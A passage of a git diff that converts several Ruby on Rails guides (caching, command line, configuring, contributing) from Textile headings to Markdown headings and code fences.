When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
@@ -1886,7 +1891,7 @@ If the parent object (the one declaring the +has_and_belongs_to_many+ associatio
If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
-h4. Association Callbacks
+### Association Callbacks
Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved.
@@ -1930,7 +1935,7 @@ end
If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection.
-h4. Association Extensions
+### Association Extensions
You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md
index e2e5dcd550..d48e674366 100644
--- a/guides/source/caching_with_rails.md
+++ b/guides/source/caching_with_rails.md
@@ -1,4 +1,5 @@
-h2. Caching with Rails: An overview
+Caching with Rails: An overview
+===============================
This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to the web clients in the shortest time possible.
@@ -9,9 +10,10 @@ After reading this guide, you should be able to use and configure:
* Alternative cache stores
* Conditional GET support
-endprologue.
+--------------------------------------------------------------------------------
-h3. Basic Caching
+Basic Caching
+-------------
This is an introduction to the three types of caching techniques that Rails provides by default without the use of any third party plugins.
@@ -21,7 +23,7 @@ To start playing with caching you'll want to ensure that +config.action_controll
config.action_controller.perform_caching = true
```
-h4. Page Caching
+### Page Caching
Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
@@ -90,7 +92,7 @@ NOTE: Page caching ignores all parameters. For example +/products?page=1+ will b
INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
-h4. Action Caching
+### Action Caching
Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.
@@ -123,7 +125,7 @@ Finally, if you are using memcached or Ehcache, you can also pass +:expires_in+.
INFO: Action caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
-h4. Fragment Caching
+### Fragment Caching
Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching.
@@ -171,7 +173,7 @@ This fragment is then available to all actions in the +ProductsController+ using
expire_fragment('all_available_products')
```
-h4. Sweepers
+### Sweepers
Cache sweeping is a mechanism which allows you to get around having a ton of +expire_{page,action,fragment}+ calls in your code. It does this by moving all the work required to expire cached content into an +ActionController::Caching::Sweeper+ subclass. This class is an observer and looks for changes to an Active Record object via callbacks, and when a change occurs it expires the caches associated with that object in an around or after filter.
@@ -267,7 +269,7 @@ end
Note the use of '/products' here rather than 'products'. If you wanted to expire an action cache for the +Admin::ProductsController+, you would use 'admin/products' instead.
-h4. SQL Caching
+### SQL Caching
Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.
@@ -293,13 +295,14 @@ The second time the same query is run against the database, it's not actually go
However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can in Rails by using low level caching.
-h3. Cache Stores
+Cache Stores
+------------
Rails provides different stores for the cached data created by <b>action</b> and <b>fragment</b> caches.
TIP: Page caches are always stored on disk.
-h4. Configuration
+### Configuration
You can set up your application's default cache store by calling +config.cache_store=+ in the Application definition inside your +config/application.rb+ file or in an Application.configure block in an environment specific configuration file (i.e. +config/environments/*.rb+). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor.
@@ -311,7 +314,7 @@ NOTE: Alternatively, you can call +ActionController::Base.cache_store+ outside o
You can access the cache by calling +Rails.cache+.
-h4. ActiveSupport::Cache::Store
+### ActiveSupport::Cache::Store
This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.
@@ -329,7 +332,7 @@ There are some common options used by all cache implementations. These can be pa
* +:race_condition_ttl+ - This option is used in conjunction with the +:expires_in+ option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the +:expires_in+ option.
-h4. ActiveSupport::Cache::MemoryStore
+### ActiveSupport::Cache::MemoryStore
This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the +:size+ options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.
@@ -341,7 +344,7 @@ If you're running multiple Ruby on Rails server processes (which is the case if
This is the default cache store implementation.
-h4. ActiveSupport::Cache::FileStore
+### ActiveSupport::Cache::FileStore
This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
@@ -353,7 +356,7 @@ With this cache store, multiple server processes on the same host can share a ca
Note that the cache will grow until the disk is full unless you periodically clear out old entries.
-h4. ActiveSupport::Cache::MemCacheStore
+### ActiveSupport::Cache::MemCacheStore
This cache store uses Danga's +memcached+ server to provide a centralized cache for your application. Rails uses the bundled +dalli+ gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
@@ -365,7 +368,7 @@ The +write+ and +fetch+ methods on this cache accept two additional options that
config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
```
-h4. ActiveSupport::Cache::EhcacheStore
+### ActiveSupport::Cache::EhcacheStore
If you are using JRuby you can use Terracotta's Ehcache as the cache store for your application. Ehcache is an open source Java cache that also offers an enterprise version with increased scalability, management, and commercial support. You must first install the jruby-ehcache-rails3 gem (version 1.1.0 or later) to use this cache store.
@@ -394,7 +397,7 @@ caches_action :index, :expires_in => 60.seconds, :unless_exist => true
For more information about Ehcache, see "http://ehcache.org/":http://ehcache.org/ .
For more information about Ehcache for JRuby and Rails, see "http://ehcache.org/documentation/jruby.html":http://ehcache.org/documentation/jruby.html
-h4. ActiveSupport::Cache::NullStore
+### ActiveSupport::Cache::NullStore
This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with +Rails.cache+, but caching may interfere with being able to see the results of code changes. With this cache store, all +fetch+ and +read+ operations will result in a miss.
@@ -402,7 +405,7 @@ This cache store implementation is meant to be used only in development or test
config.cache_store = :null_store
```
-h4. Custom Cache Stores
+### Custom Cache Stores
You can create your own custom cache store by simply extending +ActiveSupport::Cache::Store+ and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application.
@@ -412,7 +415,7 @@ To use a custom cache store, simple set the cache store to a new instance of the
config.cache_store = MyCacheStore.new
```
-h4. Cache Keys
+### Cache Keys
The keys used in a cache can be any object that responds to either +:cache_key+ or to +:to_param+. You can implement the +:cache_key+ method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.
@@ -425,7 +428,8 @@ Rails.cache.read(:site => "mysite", :owners => [owner_1, owner_2])
The keys you use on +Rails.cache+ will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with +Rails.cache+ and then try to pull them out with the +memcache-client+ gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.
-h3. Conditional GET support
+Conditional GET support
+-----------------------
Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.
@@ -481,6 +485,7 @@ class ProductsController < ApplicationController
end
```
-h3. Further reading
+Further reading
+---------------
* "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails
diff --git a/guides/source/command_line.md b/guides/source/command_line.md
index d4cd6bcda4..cc316eed02 100644
--- a/guides/source/command_line.md
+++ b/guides/source/command_line.md
@@ -1,4 +1,5 @@
-h2. A Guide to The Rails Command Line
+A Guide to The Rails Command Line
+=================================
Rails comes with every command line tool you'll need to
@@ -8,13 +9,14 @@ Rails comes with every command line tool you'll need to
* Experiment with objects through an interactive shell
* Profile and benchmark your new creation
-endprologue.
+--------------------------------------------------------------------------------
NOTE: This tutorial assumes you have basic Rails knowledge from reading the "Getting Started with Rails Guide":getting_started.html.
WARNING. This Guide is based on Rails 3.2. Some of the code shown here will not work in earlier versions of Rails.
-h3. Command Line Basics
+Command Line Basics
+-------------------
There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
@@ -27,7 +29,7 @@ There are a few commands that are absolutely critical to your everyday usage of
Let's create a simple Rails application to step through each of these commands in context.
-h4. +rails new+
+### +rails new+
The first thing we'll want to do is create a new Rails application by running the +rails new+ command after installing Rails.
@@ -50,7 +52,7 @@ $ rails new commandsapp
Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
-h4. +rails server+
+### +rails server+
The +rails server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
@@ -82,7 +84,7 @@ $ rails server -e production -p 4000
The +-b+ option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a +-d+ option.
-h4. +rails generate+
+### +rails generate+
The +rails generate+ command uses templates to create a whole lot of things. Running +rails generate+ by itself gives a list of available generators:
@@ -270,7 +272,7 @@ $ rails server
Go to your browser and open "http://localhost:3000/high_scores":http://localhost:3000/high_scores, now we can create new high scores (55,160 on Space Invaders!)
-h4. +rails console+
+### +rails console+
The +console+ command lets you interact with your Rails application from the command line. On the underside, +rails console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
@@ -291,13 +293,13 @@ Any modifications you make will be rolled back on exit
irb(main):001:0>
```
-h4. +rails dbconsole+
+### +rails dbconsole+
+rails dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
INFO: You can also use the alias "db" to invoke the dbconsole: <tt>rails db</tt>.
-h4. +rails runner+
+### +rails runner+
<tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance:
@@ -313,7 +315,7 @@ You can specify the environment in which the +runner+ command should operate usi
$ rails runner -e staging "Model.long_running_method"
```
-h4. +rails destroy+
+### +rails destroy+
Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it.
@@ -338,7 +340,8 @@ $ rails destroy model Oops
remove test/fixtures/oops.yml
```
-h3. Rake
+Rake
+----
Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
@@ -358,7 +361,7 @@ rake tmp:clear # Clear session, cache, and socket files from tmp/ (narr
rake tmp:create # Creates tmp directories for sessions, cache, sockets, and pids
```
-h4. +about+
+### +about+
<tt>rake about</tt> gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
@@ -381,17 +384,17 @@ Database adapter sqlite3
Database schema version 20110805173523
```
-h4. +assets+
+### +assets+
You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove those compiled assets using <tt>rake assets:clean</tt>.
-h4. +db+
+### +db+
The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database.
More information about migrations can be found in the "Migrations":migrations.html guide.
-h4. +doc+
+### +doc+
The +doc:+ namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
@@ -399,7 +402,7 @@ The +doc:+ namespace has the tools to generate documentation for your app, API d
* +rake doc:guides+ generates Rails guides in +doc/guides+.
* +rake doc:rails+ generates API documentation for Rails in +doc/api+.
-h4. +notes+
+### +notes+
+rake notes+ will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension +.builder+, +.rb+, +.erb+, +.haml+ and +.slim+ for both default and custom annotations.
@@ -450,17 +453,17 @@ rspec/model/user_spec.rb:
* [122] [TODO] Verify the user that has a subscription works
```
-h4. +routes+
+### +routes+
+rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
-h4. +test+
+### +test+
INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html
Rails comes with a test suite called <tt>Test::Unit</tt>. Rails owes its stability to the use of tests. The tasks available in the +test:+ namespace helps in running the different tests you will hopefully write.
-h4. +tmp+
+### +tmp+
The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.
@@ -471,13 +474,13 @@ The +tmp:+ namespaced tasks will help you clear the <tt>Rails.root/tmp</tt> dire
* +rake tmp:sockets:clear+ clears <tt>tmp/sockets</tt>.
* +rake tmp:clear+ clears all the three: cache, sessions and sockets.
-h4. Miscellaneous
+### Miscellaneous
* +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
* +rake secret+ will give you a pseudo-random key to use for your session secret.
* <tt>rake time:zones:all</tt> lists all the timezones Rails knows about.
-h4. Writing Rake Tasks
+### Writing Rake Tasks
If you have (or want to write) any automation scripts outside your app (data import, checks, etc), you can make them as rake tasks. It's easy.
@@ -524,11 +527,12 @@ rake do:nothing
NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the +environment+ task, which will load your application code.
-h3. The Rails Advanced Command Line
+The Rails Advanced Command Line
+-------------------------------
More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
-h4. Rails with Databases and SCM
+### Rails with Databases and SCM
When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
@@ -588,7 +592,7 @@ It also generated some lines in our database.yml configuration corresponding to
NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails new+ command to generate the basis of your app.
-h4(#different-servers). +server+ with Different Backends
+### +server+ with Different Backends
Many people have created a large number of different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
index ca4599518b..9abf371fd8 100644
--- a/guides/source/configuring.md
+++ b/guides/source/configuring.md
@@ -1,13 +1,15 @@
-h2. Configuring Rails Applications
+Configuring Rails Applications
+==============================
This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
* Adjust the behavior of your Rails applications
* Add additional code to be run at application start time
-endprologue.
+--------------------------------------------------------------------------------
-h3. Locations for Initialization Code
+Locations for Initialization Code
+---------------------------------
Rails offers four standard spots to place initialization code:
@@ -16,11 +18,13 @@ Rails offers four standard spots to place initialization code:
* Initializers
* After-initializers
-h3. Running Code Before Rails
+Running Code Before Rails
+-------------------------
In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to +require 'rails/all'+ in +config/application.rb+.
-h3. Configuring Rails Components
+Configuring Rails Components
+----------------------------
In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file +config/application.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components.
@@ -38,7 +42,7 @@ config.active_record.observers = [:hotel_observer, :review_observer]
Rails will use that particular setting to configure Active Record.
-h4. Rails General Configuration
+### Rails General Configuration
These configuration methods are to be called on a +Rails::Railtie+ object, such as a subclass of +Rails::Engine+ or +Rails::Application+.
@@ -133,7 +137,7 @@ This custom store must be defined as +ActionDispatch::Session::MyCustomStore+.
* +config.whiny_nils+ enables or disables warnings when a certain set of methods are invoked on +nil+ and it does not respond to them. Defaults to true in development and test environments.
-h4. Configuring Assets
+### Configuring Assets
Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets within an application. This gem concatenates and compresses assets in order to make serving them much less painful.
@@ -165,7 +169,7 @@ Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets wit
* +config.assets.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to the same configured at +config.logger+. Setting +config.assets.logger+ to false will turn off served assets logging.
-h4. Configuring Generators
+### Configuring Generators
Rails 3 allows you to alter what generators are used with the +config.generators+ method. This method takes a block:
@@ -193,7 +197,7 @@ The full set of methods that can be used in this block are as follows:
* +test_framework+ defines which test framework to use. Defaults to +false+ and will use Test::Unit by default.
* +template_engine+ defines which template engine to use, such as ERB or Haml. Defaults to +:erb+.
-h4. Configuring Middleware
+### Configuring Middleware
Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
@@ -248,13 +252,13 @@ They can also be removed from the stack completely:
config.middleware.delete ActionDispatch::BestStandardsSupport
```
-h4. Configuring i18n
+### Configuring i18n
* +config.i18n.default_locale+ sets the default locale of an application used for i18n. Defaults to +:en+.
* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+.
-h4. Configuring Active Record
+### Configuring Active Record
<tt>config.active_record</tt> includes a variety of configuration options:
@@ -292,7 +296,7 @@ The schema dumper adds one additional configuration option:
* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +config.active_record.schema_format == :ruby+.
-h4. Configuring Action Controller
+### Configuring Action Controller
<tt>config.action_controller</tt> includes a number of configuration settings:
@@ -322,7 +326,7 @@ The caching code adds two additional settings:
* +ActionController::Base.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
-h4. Configuring Action Dispatch
+### Configuring Action Dispatch
* +config.action_dispatch.session_store+ sets the name of the store for session data. The default is +:cookie_store+; other valid options include +:active_record_store+, +:mem_cache_store+ or the name of your own custom class.
@@ -340,7 +344,7 @@ config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X
* +ActionDispatch::Callbacks.after+ takes a block of code to run after the request.
-h4. Configuring Action View
+### Configuring Action View
<tt>config.action_view</tt> includes a small number of configuration settings:
@@ -392,7 +396,7 @@ And can reference in the view with the following code:
The default setting is +true+, which uses the partial at +/admin/posts/_post.erb+. Setting the value to +false+ would render +/posts/_post.erb+, which is the same behavior as rendering from a non-namespaced controller such as +PostsController+.
-h4. Configuring Action Mailer
+### Configuring Action Mailer
There are a number of settings available on +config.action_mailer+:
@@ -435,11 +439,11 @@ config.action_mailer.interceptors = ["MailInterceptor"]
```
* +config.action_mailer.queue+ registers the queue that will be used to deliver the mail.
-<ruby>
+```ruby
config.action_mailer.queue = SomeQueue.new
-</ruby>
+```
-h4. Configuring Active Support
+### Configuring Active Support
There are a few configuration options available in Active Support:
@@ -461,7 +465,7 @@ There are a few configuration options available in Active Support:
* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
-h4. Configuring a Database
+### Configuring a Database
Just about every Rails application will interact with a database. The database to use is specified in a configuration file called +config/database.yml+. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default:
@@ -471,7 +475,7 @@ Just about every Rails application will interact with a database. The database t
TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named <tt>--database</tt>. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting of the +config/database.yml+ file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.
-h5. Configuring an SQLite3 Database
+#### Configuring an SQLite3 Database
Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
@@ -487,7 +491,7 @@ development:
NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.
-h5. Configuring a MySQL Database
+#### Configuring a MySQL Database
If you choose to use MySQL instead of the shipped SQLite3 database, your +config/database.yml+ will look a little different. Here's the development section:
@@ -504,7 +508,7 @@ development:
If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate.
-h5. Configuring a PostgreSQL Database
+#### Configuring a PostgreSQL Database
If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases:
@@ -526,7 +530,7 @@ production:
prepared_statements: false
```
-h5. Configuring an SQLite3 Database for JRuby Platform
+#### Configuring an SQLite3 Database for JRuby Platform
If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section:
@@ -536,7 +540,7 @@ development:
database: db/development.sqlite3
```
-h5. Configuring a MySQL Database for JRuby Platform
+#### Configuring a MySQL Database for JRuby Platform
If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section:
@@ -548,7 +552,7 @@ development:
password:
```
-h5. Configuring a PostgreSQL Database for JRuby Platform
+#### Configuring a PostgreSQL Database for JRuby Platform
If you choose to use PostgreSQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section:
@@ -563,7 +567,8 @@ development:
Change the username and password in the +development+ section as appropriate.
-h3. Rails Environment Settings
+Rails Environment Settings
+--------------------------
Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
@@ -576,7 +581,8 @@ Some parts of Rails can also be configured externally by supplying environment v
* +ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
-h3. Using Initializer Files
+Using Initializer Files
+-----------------------
After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.
@@ -584,7 +590,8 @@ NOTE: You can use subfolders to organize your initializers if you like, because
TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, +01_critical.rb+ will be loaded before +02_normal.rb+.
-h3. Initialization events
+Initialization events
+---------------------
Rails has 5 initialization events which can be hooked into (listed in the order that they are run):
@@ -620,7 +627,7 @@ end
WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
-h4. +Rails::Railtie#initializer+
+### +Rails::Railtie#initializer+
Rails has several initializers that run on startup that are all defined by using the +initializer+ method from +Rails::Railtie+. Here's an example of the +initialize_whiny_nils+ initializer from Active Support:
@@ -640,7 +647,7 @@ The block argument of the +initializer+ method is the instance of the applicatio
Because +Rails::Application+ inherits from +Rails::Railtie+ (indirectly), you can use the +initializer+ method in +config/application.rb+ to define initializers for the application.
-h4. Initializers
+### Initializers
Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).
@@ -751,7 +758,8 @@ The error occurred while evaluating nil.each
*+disable_dependency_loading+* Disables the automatic dependency loading if the +config.eager_load+ is set to true.
-h3. Database pooling
+Database pooling
+----------------
Active Record database connections are managed by +ActiveRecord::ConnectionAdapters::ConnectionPool+ which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in +database.yml+.
diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md
index 3b75e99da6..ec7d7e2039 100644
--- a/guides/source/contributing_to_ruby_on_rails.md
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -1,4 +1,5 @@
-h2. Contributing to Ruby on Rails
+Contributing to Ruby on Rails
+=============================
This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails. After reading it, you should be familiar with:
@@ -10,15 +11,16 @@ This guide covers ways in which _you_ can become a part of the ongoing developme
Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation -- all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
-endprologue.
+--------------------------------------------------------------------------------
-h3. Reporting an Issue
+Reporting an Issue
+------------------
Ruby on Rails uses "GitHub Issue Tracking":https://github.com/rails/rails/issues to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.
NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide you'll find out how to get edge Rails for testing.
-h4. Creating a Bug Report
+### Creating a Bug Report
If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under "Issues":https://github.com/rails/rails/issues in case it was already reported. If you find no issue addressing it you can "add a new one":https://github.com/rails/rails/issues/new. (See the next section for reporting security issues.)
@@ -26,27 +28,28 @@ At the minimum, your issue report needs a title and descriptive text. But that's
Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment.
-h4. Special Treatment for Security Issues
+### Special Treatment for Security Issues
WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The "Rails security policy page":http://rubyonrails.org/security details the procedure to follow for security issues.
-h4. What about Feature Requests?
+### What about Feature Requests?
Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the "rails-core mailing list":https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core. You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require.
-h3. Setting Up a Development Environment
+Setting Up a Development Environment
+------------------------------------
To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
-h4. The Easy Way
+### The Easy Way
The easiest way to get a development environment ready to hack is to use the "Rails development box":https://github.com/rails/rails-dev-box.
-h4. The Hard Way
+### The Hard Way
-h5. Install Git
+#### Install Git
Ruby on Rails uses Git for source code control. The "Git homepage":http://git-scm.com/ has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
@@ -55,7 +58,7 @@ Ruby on Rails uses Git for source code control. The "Git homepage":http://git-sc
* "GitHub":http://help.github.com offers links to a variety of Git resources.
* "Pro Git":http://git-scm.com/book is an entire book about Git with a Creative Commons license.
-h5. Clone the Ruby on Rails Repository
+#### Clone the Ruby on Rails Repository
Navigate to the folder where you want the Ruby on Rails source code (it will create its own +rails+ subdirectory) and run:
@@ -64,7 +67,7 @@ $ git clone git://github.com/rails/rails.git
$ cd rails
```
-h5. Set up and Run the Tests
+#### Set up and Run the Tests
The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
@@ -134,17 +137,17 @@ $ cd actionpack
$ bundle exec ruby -Itest test/template/form_helper_test.rb
```
-h5. Active Record Setup
+#### Active Record Setup
The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (+mysql+ and +mysql2+), and once for PostgreSQL. We are going to see now how to set up the environment for them.
WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
-h6. Database Configuration
+##### Database Configuration
The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment.
-h6. MySQL and PostgreSQL
+##### MySQL and PostgreSQL
To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run
@@ -204,7 +207,8 @@ NOTE: You'll see the following warning (or localized warning) during activating
If you’re using another database, check the file +activerecord/test/config.yml+ or +activerecord/test/config.example.yml+ for default connection information. You can edit +activerecord/test/config.yml+ to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.
-h3. Testing Active Record
+Testing Active Record
+---------------------
This is how you run the Active Record test suite only for SQLite3:
